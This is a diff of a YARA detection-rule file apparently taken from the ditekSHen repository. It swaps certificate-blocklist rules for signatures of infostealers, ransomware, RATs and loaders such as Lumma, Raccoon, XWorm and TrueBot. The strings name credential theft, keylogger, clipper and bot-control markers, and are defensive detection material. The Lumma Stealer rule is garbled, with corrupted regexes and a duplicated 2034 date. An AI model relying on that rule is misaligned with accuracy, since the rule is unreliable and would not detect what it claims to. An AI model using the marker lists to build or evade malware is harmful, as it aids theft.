-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5843-L5856"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9648-L9661"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b6dd9cb0d2383bce3ab13b6a660b3f5ba554a2bf1fce4aabb6dd36187cc57f45"
+		logic_hash = "1bab3202dbeaf088b233c3ab1056c357d156b7eef3111bea997b1c610a27f561"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e2bf86dc46fca1c35f98ff84d8976be8aa0668bc"
-		hash1 = "dd49651e325b04ea14733bcd676c0a1cb58ab36bf79162868ade02b396ec3ab0"
-		hash2 = "823cb4b92a1266c880d917c7d6f71da37d524166287b30c0c89b6bb03c2e4b64"
-		importance = 20
+
+	strings:
+		$x1 = "buhtiRansom" ascii
+		$x2 = "://satoshidisk.com/pay/" ascii
+		$s1 = "main.encrypt_file" fullword ascii
+		$s2 = "/path/to/be/encrypted" ascii
+		$s3 = "Restore-My-Files.txt" ascii
+		$s4 = ".buhti390625" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Al-Faris group d.o.o." and pe.signatures[i].serial=="00:c7:9f:81:7f:08:29:86:be:f3:20:9f:67:23:c8:da:97")
+		uint16(0)==0x457f and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 5 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Beb721Fcb3274C984479D6554Efe8F49 : FILE
+rule DITEKSHEN_MALWARE_Win_Commonmagic : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CommonMagic and Modules"
 		author = "ditekSHen"
-		id = "311b4a7a-3185-5c61-961e-bd7d9bca28dd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cbebe334-9b66-5931-8f92-25d080f7fd6a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5858-L5869"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9663-L9678"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fdb28b4f8cf79d067ee8dcfc3109ceae38f7952c6fb34e61f489924d97d67151"
+		logic_hash = "e94ba53f31f3effe12b1fbaca19fea59c0e12f742f6fc0af2a0a679bf4299cbe"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2d1fd0cce4aa7e7dc6dd114a301825a7b8e887cf"
-		importance = 20
+
+	strings:
+		$p1 = "\\\\.\\pipe\\PipeMd" wide
+		$p2 = "\\\\.\\pipe\\PipeCrDtMd" wide
+		$p3 = "\\\\.\\pipe\\PipeDtMd" wide
+		$s1 = "graph.microsoft.com" fullword wide
+		$s2 = "CreateNamedPipe" ascii
+		$s3 = "\\CommonCommand\\" wide
+		$ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" wide
+		$ua2 = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CONFUSER" and pe.signatures[i].serial=="be:b7:21:fc:b3:27:4c:98:44:79:d6:55:4e:fe:8f:49")
+		uint16(0)==0x5a4d and (2 of ($p*) and 1 of ($s*)) or (1 of ($ua*) and 1 of ($s*) and 1 of ($p*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C4188D6B70B4Bd3B977B19Abd04C1157 : FILE
+rule DITEKSHEN_MALWARE_Win_Greetingghoul : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GreetingGhoul Cryptocurrency Infostealer"
 		author = "ditekSHen"
-		id = "f5b2b4cf-39a5-59c6-860e-b738a2acfd89"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "42791b26-1cda-5bf3-b955-9de2dda1d63b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5871-L5882"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9680-L9697"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6ed619e18d749c2524ad3c1ddc3268f9ddf77feb3a3f2c5954ae4e7124d63c75"
+		logic_hash = "5a2635066df031ba6e291c3ba14f9ed85bf3247c82c66eb1b3d3618fdebb47a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "90fefd18c677d6e5ac6db969a7247e3eb0b018df"
-		importance = 20
+
+	strings:
+		$s1 = "peer_list" fullword ascii
+		$s2 = "seed_hash" fullword ascii
+		$s3 = "pool_id" fullword ascii
+		$s4 = "%smutex=%s:%lu" ascii
+		$s5 = "miner.cfg" fullword ascii
+		$s6 = "{\"method\": \"%s\"%s}" ascii
+		$s7 = "/app/manager/%s" ascii
+		$s8 = "X-VNC-STATUS" fullword ascii
+		$s9 = "%s\\%lu.zip" fullword ascii
+		$s10 = "\\??\\%programdata%\\" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PRESTO Co., s.r.o." and pe.signatures[i].serial=="00:c4:18:8d:6b:70:b4:bd:3b:97:7b:19:ab:d0:4c:11:57")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ad255D4Ebefa751F3782587396C08629 : FILE
+rule DITEKSHEN_MALWARE_Win_Multi_Family_Infostealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Prynt, WorldWind, DarkEye, Stealerium and ToxicEye / TelegramRAT infostealers"
 		author = "ditekSHen"
-		id = "58e77872-5bd0-53b1-9595-c961c45e138c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "960830ba-df0d-539d-be2a-7778229f79bd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5884-L5895"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9699-L9721"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc51de3852257b12a780f80755c7ca21f5d82542649c65072fd9427271da12ef"
+		logic_hash = "0fdd1cdc4f2e5bee6c763e6e6b2e79d85285e44e2b5e3168a56d7d360252ee99"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "8fa4298057066c9ef96c28b2dd065e8896327658"
-		importance = 20
+
+	strings:
+		$n1 = /Prynt|WorldWind|DarkEye(\s)?Stealer/ ascii wide
+		$n2 = "Stealerium" ascii wide
+		$x1 = "@FlatLineStealer" ascii wide
+		$x2 = "@CashOutGangTalk" ascii wide
+		$x3 = /\.Target\.(Passwords|Messengers|Browsers|VPN|Gaming)\./ ascii
+		$x4 = /\.Modules\.(Keylogger|Implant|Passwords|Messengers|Browsers|VPN|Gaming|Clipper)\./ ascii
+		$s1 = "Timeout /T 2 /Nobreak" fullword wide
+		$s2 = /---\s(AntiAnalysis|WebcamScreenshot|Keylogger|Clipper)/ wide
+		$s3 = "Downloading file: \"{file}\"" wide
+		$s4 = "/bot{0}/getUpdates?offset={1}" wide
+		$s5 = "send command to bot!" wide
+		$s6 = " *Keylogger " fullword wide
+		$s7 = "*Stealer" wide
+		$s8 = "Bot connected" wide
+		$s9 = "### {0} ### ({1})" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Ornitek" and pe.signatures[i].serial=="00:ad:25:5d:4e:be:fa:75:1f:37:82:58:73:96:c0:86:29")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_084B6F19898214A02A5F32E6Ea69F0Fd : FILE
+rule DITEKSHEN_MALWARE_Win_Worldwind : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects WorldWind infostealer"
 		author = "ditekSHen"
-		id = "37149424-6ce7-56db-98c5-3895bf3f5c9b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "226f591a-dc06-54f5-96ae-d142f624ff71"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5897-L5908"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9723-L9744"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "844339ec8aaf93e279b294830a842f007d97adc4be4f6910d143ee16e5710ed5"
+		logic_hash = "9bb04fad460193cd877ea7f2de9337f69aadda01aee6c79f0a23cdf564b1e6c8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4b89f40ba2c83c3e65d2be59abb3385cde401581"
-		importance = 20
+
+	strings:
+		$c1 = /WorldWind(\s)?Stealer/ ascii wide
+		$x2 = "@FlatLineStealer" ascii wide
+		$x3 = "@CashOutGangTalk" ascii wide
+		$m1 = ".Passwords.Targets." ascii
+		$m2 = ".Modules.Keylogger" ascii
+		$m3 = ".Modules.Clipper" ascii
+		$m4 = ".Modules.Implant" ascii
+		$s1 = "--- Clipper" wide
+		$s2 = "Downloading file: \"{file}\"" wide
+		$s3 = "/bot{0}/getUpdates?offset={1}" wide
+		$s4 = "send command to bot!" wide
+		$s5 = " *Keylogger " fullword wide
+		$s6 = "*Stealer" wide
+		$s7 = "Bot connected" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TORG-ALYANS, LLC" and pe.signatures[i].serial=="08:4b:6f:19:89:82:14:a0:2a:5f:32:e6:ea:69:f0:fd")
+		uint16(0)==0x5a4d and 1 of ($c*) and (1 of ($x*) or 2 of ($m*) or 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_24C1Ef800F275Ab2780280C595De3464 : FILE
+rule DITEKSHEN_MALWARE_Win_Prynt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Prynt infostealer"
 		author = "ditekSHen"
-		id = "0bd14ac3-9761-5ac4-8cdc-6212a92c5b5d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "844fd100-b04e-5ff0-9fab-d45f48b55bcc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5910-L5921"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9746-L9767"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "773fdb6d15a5bd1282dd9a48601b453b62de2e9832822858ad750c6462d6e116"
+		logic_hash = "84f2b33285ab1d129a62940a02990639cc8f7c92d490d7257e6aed9170d1e34e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "836b81154eb924fe741f50a21db258da9b264b85"
-		importance = 20
+
+	strings:
+		$c1 = /Prynt(\s)?Stealer/ ascii wide
+		$x2 = "@FlatLineStealer" ascii wide
+		$x3 = "@CashOutGangTalk" ascii wide
+		$m1 = ".Passwords.Targets." ascii
+		$m2 = ".Modules.Keylogger" ascii
+		$m3 = ".Modules.Clipper" ascii
+		$m4 = ".Modules.Implant" ascii
+		$s1 = "--- Clipper" wide
+		$s2 = "Downloading file: \"{file}\"" wide
+		$s3 = "/bot{0}/getUpdates?offset={1}" wide
+		$s4 = "send command to bot!" wide
+		$s5 = " *Keylogger " fullword wide
+		$s6 = "*Stealer" wide
+		$s7 = "Bot connected" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HOLGAN LIMITED" and pe.signatures[i].serial=="24:c1:ef:80:0f:27:5a:b2:78:02:80:c5:95:de:34:64")
+		uint16(0)==0x5a4d and 1 of ($c*) and (1 of ($x*) or 2 of ($m*) or 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6401831B46588B9D872B02076C3A7B00 : FILE
+rule DITEKSHEN_MALWARE_Win_Darkeye : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DarkEye infostealer"
 		author = "ditekSHen"
-		id = "d651bbe4-7e50-51bc-8f96-a78b11846699"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "5296fe28-b54e-5d0f-aa2f-2050db585d82"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5923-L5934"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9769-L9788"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9a90c9d51dd6eb37bb3b6b17c5e3e5ebb6b6922efa14e3d8d60e72bcdb7b7259"
+		logic_hash = "5496dcbfe075a4030a446027765186e9dd1931561a29a481139281e1708ce87d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "19fc95ac815865e8b57c80ed21a22e2c0fecc1ff"
-		importance = 20
+
+	strings:
+		$c1 = /Prynt(\s)?Stealer/ ascii wide
+		$c2 = /WorldWind(\s)?Stealer/ ascii wide
+		$c3 = "ToxicEye" ascii wide
+		$x2 = "@FlatLineStealer" ascii wide
+		$x3 = "@CashOutGangTalk" ascii wide
+		$s1 = "--- Clipper" wide
+		$s2 = "Downloading file: \"{file}\"" wide
+		$s3 = "/bot{0}/getUpdates?offset={1}" wide
+		$s4 = "send command to bot!" wide
+		$s5 = " *Keylogger " fullword wide
+		$s6 = "*Stealer" wide
+		$s7 = "Bot connected" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ACTIV GROUP ApS" and pe.signatures[i].serial=="64:01:83:1b:46:58:8b:9d:87:2b:02:07:6c:3a:7b:00")
+		uint16(0)==0x5a4d and not any of ($c*) and ((1 of ($x*) and 2 of ($s*)) or (4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Cf1Ed2A6Ff4Bee621Efdf725Ea174B7 : FILE
+rule DITEKSHEN_MALWARE_Win_Invalidprinter : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Invalid Printer (in2al5d p3in4er) Loader"
 		author = "ditekSHen"
-		id = "f3cb7bd9-9e28-5478-b65d-60915157dd3b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9b0a59e1-8105-5687-83b2-fb96229f59f9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5936-L5947"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9790-L9800"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2902b075f40f1413eee937c045e082a3141ec309f9d8e1dfd3a384050ea0776c"
+		logic_hash = "d14d53b2a73952244641f4e68a3dd5af8cb1e2bfc5936f300f9347b4881ceeb8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e33dc0787099d92a712894cfef2aaba3f0d65359"
-		importance = 20
+		clamav_sig = "MALWARE.Win.InvalidPrinter"
+
+	strings:
+		$s1 = "in2al5d p3in4er" fullword ascii
+		$s2 = "CreateDXGIFactory" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LEVEL LIST SP Z O O" and pe.signatures[i].serial=="0c:f1:ed:2a:6f:f4:be:e6:21:ef:df:72:5e:a1:74:b7")
+		uint16(0)==0x5a4d and filesize <15000KB and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7Ed801843Fa001B8Add52D3A97B25931 : FILE
+rule DITEKSHEN_MALWARE_Win_Raccoonv2 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Raccoon Stealer 2.0, also referred to as RecordBreaker"
 		author = "ditekSHen"
-		id = "8dc9fbde-57bb-56ca-b925-902059612606"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2fc8313f-42f4-5b7e-8ae6-20455f736064"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5949-L5960"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9802-L9823"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2607dde1318b9b84056fc73664e4c1f82f20c23f311216e2201c3fdee0d1b6db"
+		logic_hash = "d47bb9051923147010452bcd6e7c370c2ff9ea9095bcb920b64f69873b15ec16"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "4ee1539c1455f0070d8d04820fb814f8794f84df"
-		importance = 20
+
+	strings:
+		$f1 = "sgnl_" fullword ascii
+		$f2 = "tlgrm_" fullword ascii
+		$f3 = "ews_" fullword ascii
+		$f4 = "grbr_" fullword ascii
+		$f5 = "dscrd_" fullword ascii
+		$f6 = "wlts_" fullword ascii
+		$f7 = "scrnsht_" fullword ascii
+		$f8 = "sstmnfo_" fullword ascii
+		$s1 = "machineId=" fullword ascii
+		$s2 = "&configId=" fullword ascii
+		$s3 = "URL:%s" fullword ascii
+		$s4 = "USR:%s" fullword ascii
+		$s5 = "PASS:%s" fullword ascii
+		$s6 = "Content-Type: application/x-object" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AM El-Teknik ApS" and pe.signatures[i].serial=="7e:d8:01:84:3f:a0:01:b8:ad:d5:2d:3a:97:b2:59:31")
+		(( uint16(0)==0x5a4d and (4 of ($f*) or all of ($s*) or 7 of them )) or 10 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0F0Ed5318848703405D40F7C62D0F39A : FILE
+rule DITEKSHEN_MALWARE_Win_Truebot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TrueBot"
 		author = "ditekSHen"
-		id = "6baebaa7-275c-571d-b321-9a21d7799a33"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7210a0bd-d310-55bf-bb0c-14cadb59bd67"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5962-L5973"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9825-L9845"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "77bd8fd2dc48e2fc8abbf0f3411dfa8010326b6a9928fb392cce6e0fe8e9d309"
+		logic_hash = "a92141ef0aa7d68b3594a0f56c0370498fe5751a472c9011ac8b92ae46e88e53"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ed91194ee135b24d5df160965d8036587d6c8c35"
-		importance = 20
+
+	strings:
+		$s1 = "%s\\rundll32.exe" fullword wide
+		$s2 = "ChkdskExs" fullword wide
+		$s3 = "n=%s&o=%s&a=%d&u=%s&p=%s&d=%s" ascii
+		$s4 = "KLLS" fullword ascii
+		$s5 = "%s\\%08x-%08x.ps1" fullword ascii
+		$s6 = ".JSONIP" ascii
+		$s7 = "CreateProcessAsUserW res %d err %d" fullword ascii
+		$s8 = "ldr_sys64.dll" fullword ascii
+		$s9 = "SVCHOST" fullword ascii
+		$s10 = "WINLOGON" fullword ascii
+		$s11 = { 67 6f 6f 67 6c 65 2e 63 6f 6d 00 00 00 00 00 00
+                2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00
+                20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SIES UPRAVLENIE PROTSESSAMI, OOO" and pe.signatures[i].serial=="0f:0e:d5:31:88:48:70:34:05:d4:0f:7c:62:d0:f3:9a")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_537Aa4F1Bae48F052C3E57C3E2E1Ee61 : FILE
+rule DITEKSHEN_MALWARE_Win_Lummastealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Lumma Stealer"
 		author = "ditekSHen"
-		id = "33316c5e-b14f-50b5-8971-3a8b5a3c2497"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b54521ab-4a31-5c1c-8ef2-b08b0f713693"
+		date = "2034-02-17"
+		date = "2034-02-17"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5975-L5986"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9847-L9872"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "83d205998f43a2404146064e13726c149bc56fed6b886ee1812378c027f03da0"
+		logic_hash = "74014c5bcc85977b90faed93b348c34e47ee033b06c2f145348ca9c54c27bda5"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "15355505a242c44d6c36abab6267cc99219a931c"
-		importance = 20
+		clamav1 = "MALWARE.Win.Trojan.LummaStealer"
+
+	strings:
+		$x1 = /Lum[0-9]{3}xedmaC2,\sBuild/ ascii
+		$x2 = /LID\(Lu[0-9]{3}xedmma\sID\):/ ascii
+		$s1 = /os_c[0-9]{3}xedrypt\.encry[0-9]{3}xedpted_key/ fullword ascii
+		$s2 = "c2sock" wide
+		$s3 = "c2conf" wide
+		$s4 = "TeslaBrowser/" wide
+		$s5 = "Software.txt" fullword wide
+		$s6 = "SysmonDrv" fullword
+		$s7 = "*.eml" fullword wide nocase
+		$s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" wide
+		$s9 = "- Screen Resoluton:" ascii
+		$s10 = "lid=%s" ascii
+		$s11 = "&ver=" ascii
+		$s12 = "769cb9aa22f4ccc412f9cbc81feedd" fullword wide
+		$s13 = "gapi-node.io" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALPHA AME LIMITED LLP" and pe.signatures[i].serial=="53:7a:a4:f1:ba:e4:8f:05:2c:3e:57:c3:e2:e1:ee:61")
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 2 of ($s*)) or 5 of ($s*) or 7 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_61B11Ef9726Ab2E78132E01Bd791B336 : FILE
+rule DITEKSHEN_MALWARE_Win_Xworm : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects XWorm"
 		author = "ditekSHen"
-		id = "5b830ab1-16d2-573c-81b7-b8b922af6f4b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bf9115a7-850a-5326-860c-a9a71bc7e50c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5988-L5999"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9874-L9900"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "50c89d732409ff680734f481d858256001245c10345d9e6f1cbb51dcdc9c2cc9"
+		logic_hash = "5a86c2f0a188135e53d86c176806a208abbe3dd830bde364016859ffa5294bd7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "9f7fcfd7e70dd7cd723ac20e5e7cb7aad1ba976b"
-		importance = 20
+		clamav_sig = "MALWARE.Win.XWorm"
+
+	strings:
+		$x1 = "XWorm " wide nocase
+		$x2 = /XWorm\s(V|v)\d+\.\d+/ fullword wide
+		$s1 = "RunBotKiller" fullword wide
+		$s2 = "XKlog.txt" fullword wide
+		$s3 = /(shell|reg)fuc/ fullword wide
+		$s4 = "closeshell" fullword ascii
+		$s5 = { 62 00 79 00 70 00 73 00 73 00 00 ?? 63 00 61 00 6c 00 6c 00 75 00 61 00 63 00 00 ?? 73 00 63 00 }
+		$s6 = { 44 00 44 00 6f 00 73 00 54 00 00 ?? 43 00 69 00 6c 00 70 00 70 00 65 00 72 00 00 ?? 50 00 45 00 }
+		$s7 = { 69 00 6e 00 6a 00 52 00 75 00 6e 00 00 ?? 73 00 74 00 61 00 72 00 74 00 75 00 73 00 62 }
+		$s8 = { 48 6f 73 74 00 50 6f 72 74 00 75 70 6c 6f 61 64 65 72 00 6e 61 6d 65 65 65 00 4b 45 59 00 53 50 4c 00 4d 75 74 65 78 78 00 }
+		$v2_1 = "PING!" fullword wide
+		$v2_2 = "Urlhide" fullword wide
+		$v2_3 = /PC(Restart|Shutdown)/ fullword wide
+		$v2_4 = /(Start|Stop)(DDos|Report)/ fullword wide
+		$v2_5 = /Offline(Get|Keylogger)/ wide
+		$v2_6 = "injRun" fullword wide
+		$v2_7 = "Xchat" fullword wide
+		$v2_8 = "UACFunc" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Skalari" and pe.signatures[i].serial=="61:b1:1e:f9:72:6a:b2:e7:81:32:e0:1b:d7:91:b3:36")
+		uint16(0)==0x5a4d and ((1 of ($x*) and (3 of ($s*) or 3 of ($v2*))) or 6 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E339C8069126Aa6313484Fea85B4B326F7B8860C : FILE
+rule DITEKSHEN_MALWARE_Win_Clipbanker03 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ClipBanker"
 		author = "ditekSHen"
-		id = "a8a6a285-98e1-5a2a-ab89-c67809fea3b2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "57ba7d33-eba4-5bc1-9893-5441e439b900"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6001-L6012"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9902-L9922"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6f373c5a8f99893088fa1afffeccdf24ae6ed118d7bea9df43281073bd8e85bb"
+		logic_hash = "29bbb833c9aecc18b398b8c0d80649994f4992277d1aa2ee4ae8e319b59125d5"
